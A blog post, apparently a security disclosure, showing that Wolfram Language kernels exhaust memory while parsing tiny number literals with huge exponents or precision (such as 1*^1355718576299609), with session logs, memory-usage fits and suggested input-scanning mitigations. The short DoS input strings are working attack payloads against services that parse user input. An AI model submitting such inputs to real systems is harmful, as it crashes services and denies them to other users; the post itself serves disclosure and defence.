<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% /Applications/Mathematica132.app/Contents/MacOS/WolframKernel 
Mathematica 13.2.0 Kernel for Mac OS X ARM (64-bit)
Copyright 1988-2022 Wolfram Research, Inc.

In[1]:= ToExpression["1.0`900719925474099"];                                                                                            

General::nomem: The current computation was aborted because there was insufficient memory available to complete the computation.

Throw::sysexc: Uncaught SystemException returned to top level. Can be caught with Catch[..., _SystemException].

Out[1]= SystemException[MemoryAllocationFailure]

In[2]:= 

</code></pre></div></div>

<p>So some very large input such as <code class="language-plaintext highlighter-rouge">1.0`900719925474099</code> is handled internally.</p>

<p>What about a smaller but still very large input?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% /Applications/Mathematica132.app/Contents/MacOS/WolframKernel 
Mathematica 13.2.0 Kernel for Mac OS X ARM (64-bit)
Copyright 1988-2022 Wolfram Research, Inc.

In[9]:= ToExpression["1.0`90071992547"];                                                                                                
zsh: killed     /Applications/Mathematica132.app/Contents/MacOS/WolframKernel
% 
</code></pre></div></div>

<p>I had to manually kill the WL kernel process after it tried taking 40+ GB of memory.</p>

<p>Similarly, we can try an input with a large exponent:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% /Applications/Mathematica.app/Contents/MacOS/WolframKernel 
Mathematica 13.0.1 Kernel for Mac OS X x86 (64-bit)
Copyright 1988-2022 Wolfram Research, Inc.

In[1]:= 1*^1355718576299610                                                                                                                                                                    

General::ovfl: Overflow occurred in computation.

Out[1]= Overflow[]
</code></pre></div></div>

<p>This is handled fine by Mathematica because it is larger than <code class="language-plaintext highlighter-rouge">$MaxNumber</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[19]:= $MaxNumber

Out[19]= 1.605216761933662*10^1355718576299609
</code></pre></div></div>

<p>What about a smaller but still very large input?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% /Applications/Mathematica.app/Contents/MacOS/WolframKernel
Mathematica 13.0.1 Kernel for Mac OS X x86 (64-bit)
Copyright 1988-2022 Wolfram Research, Inc.

In[1]:= 1*^1355718576299609

zsh: killed     /Applications/Mathematica.app/Contents/MacOS/WolframKernel
</code></pre></div></div>

<p>I had to manually kill the WL kernel process after it tried taking 5+ GB of memory.</p>

<h2 id="details">Details</h2>

<p>Let’s look at memory usage of parsing numbers as we increase the exponent.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[8]:= data1 = Table[{x, 
     MaxMemoryUsed[ToExpression["1*^" &lt;&gt; ToString[x] &lt;&gt; ";ignore"]]}, {x, 
     200000, 1000000, 100}]; // AbsoluteTiming

Out[8]= {14.5374, Null}

In[9]:= ListPlot[{data1}, Joined -&gt; True]

Out[9]= ...
</code></pre></div></div>

<p><img src="/assets/images/precision-bombing/plot1.png" alt="precision bombing plot 1" width="500" /></p>

<p>Looks roughly like a line. Let’s fit it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[10]:= line = Fit[data1, {1, x}, x]

Out[10]= 24029.8 + 1.20732 x

In[11]:= ListPlot[{data1, {#, line /. x -&gt; #} &amp; /@ data1[[All, 1]]}, Joined -&gt; True, 
 PlotLegends -&gt; {"data", "fit"}]

Out[11]= ...
</code></pre></div></div>

<p><img src="/assets/images/precision-bombing/plot2.png" alt="precision bombing plot 2" width="500" /></p>

<p>So the memory needed seems to be a function <code class="language-plaintext highlighter-rouge">1.2 * exponent</code> and this makes sense. The theoretical limit is the number of bytes needed to store a decimal digit:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[12]:= Log2[10]/Log2[8] // N

Out[12]= 1.10731
</code></pre></div></div>

<p>and there are various internal overheads.</p>

<p>So trying to parse these 19 bytes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1*^1355718576299609
</code></pre></div></div>

<p>will require <code class="language-plaintext highlighter-rouge">1.2*1355718576299609 == 2^50 bytes == 10^6 GB of memory</code></p>

<p>Using <code class="language-plaintext highlighter-rouge">10^6</code> GB of memory from 19 bytes of input is a pretty good ROI!</p>

<!-- Also applies to denominators of Rationals

Rational syntax from above

```
In[1]:= ToExpression["1*^-1355718576299610", InputForm, Hold];                                                                                                                                        

General::ovfl: Overflow occurred in computation.

In[2]:= ToExpression["1*^-1355718576299609", InputForm, Hold];                                                                                                                                        
^C
Interrupt> exit
```

```
In[185]:= $MinNumber

Out[185]= 6.229688249675322*10^-1355718576299610
```

TODO: talk about Rationals

This is Denominator Bombing, but really it is the same as Exponent Bombing -->

<p>Now let’s look at memory usage of parsing numbers as we increase the precision.</p>

<p>We will parse numbers like <code class="language-plaintext highlighter-rouge">1.0`1000000000</code> and then call <code class="language-plaintext highlighter-rouge">MaxMemoryUsed[]</code> after each number.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[8]:=
precs = {
   1000000000,
   2000000000,
   3000000000,
   4000000000,
   5000000000,
   6000000000,
   7000000000,
   8000000000,
   9000000000
   };
data = {};
Do[
 max = MaxMemoryUsed[ToExpression["1.0`" &lt;&gt; ToString[prec] &lt;&gt; ";ignore"]];
 AppendTo[data, {prec, max}]
 ,
 {prec, precs}
 ]
</code></pre></div></div>

<p>Hopefully this is a line:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[13]:= ListLinePlot[data]

Out[13]= ...
</code></pre></div></div>

<p><img src="/assets/images/precision-bombing/plot3.png" alt="precision bombing plot 3" width="500" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[14]:= line = Fit[data, {1, x}, x]

Out[14]= 7915.56 + 0.830482 x
</code></pre></div></div>

<p>It looks like about 0.83/byte is used for precision specification.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[15]:= bytesPerPrecDigit = line[[2]] /. x -&gt; 1

Out[15]= 0.830482

In[16]:= bitsPerPrecDigits = 8 bytesPerPrecDigit

Out[16]= 6.64386
</code></pre></div></div>

<p>But where does 0.83 comes from? The entropy of decimal digits:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[17]:= bitsPerDigit = Log[2, 10] // N

Out[17]= 3.32193
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">3.32193</code> is the theoretical limit of number of bits for decimal digits.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[19]:= bitsPerPrecDigits/bitsPerDigit // FullForm

Out[19]//FullForm= 2.000000000669874`
</code></pre></div></div>

<p>It seems like precision specification is a very neat factor of 2 above that theoretical limit.</p>

<p>The factor of 2 is most likely because the Wolfram Language kernel is making a copy of the number somewhere internally.</p>

<h2 id="verdict">Verdict</h2>

<p>In this DoS attack, memory is consumed when the input is being parsed. No evaluation needs to occur for this attack to work.</p>

<p>Systems that use Wolfram Language to process user input are susceptible to a DoS by malicious users supplying input such as <code class="language-plaintext highlighter-rouge">1*^-1355718576299609</code> and <code class="language-plaintext highlighter-rouge">1.0`90071992</code> to crash the WL kernels that process the input.</p>

<p>Mitigations would involve scanning input that uses <code class="language-plaintext highlighter-rouge">*^</code> or precision syntax and warning if exponents or precision are above some large limit, say <code class="language-plaintext highlighter-rouge">10*^6</code> for exponents and <code class="language-plaintext highlighter-rouge">10*^7</code> for precision</p>

<!-- 

## other attacks

https://en.wikipedia.org/wiki/Billion_laughs_attack

This attack is similar to Zip bombing (https://en.wikipedia.org/wiki/Zip_bomb).

Build a Compiler Bomb
https://codegolf.stackexchange.com/questions/69189/build-a-compiler-bomb
16 bytes of Python that compile to 32 terabytes of bytecode
https://news.ycombinator.com/item?id=26157674

python

The Python ctypes security issue and Python 2
March 2, 2021
https://utcc.utoronto.ca/~cks/space/blog/python/CTypesSecurityIssue

regex

Regexploit: DoS-able Regular Expressions
https://blog.doyensec.com/2021/03/11/regexploit.html

https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

ruby

DoS vulnerability in BigDecimal
https://www.ruby-lang.org/en/news/2009/06/09/dos-vulnerability-in-bigdecimal/

PHP

https://www.exploringbinary.com/php-hangs-on-numeric-value-2-2250738585072011e-308/



 -->]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[I entered this input into Wolfram|Alpha: 1*^-1355718576299609]]></summary></entry></feed>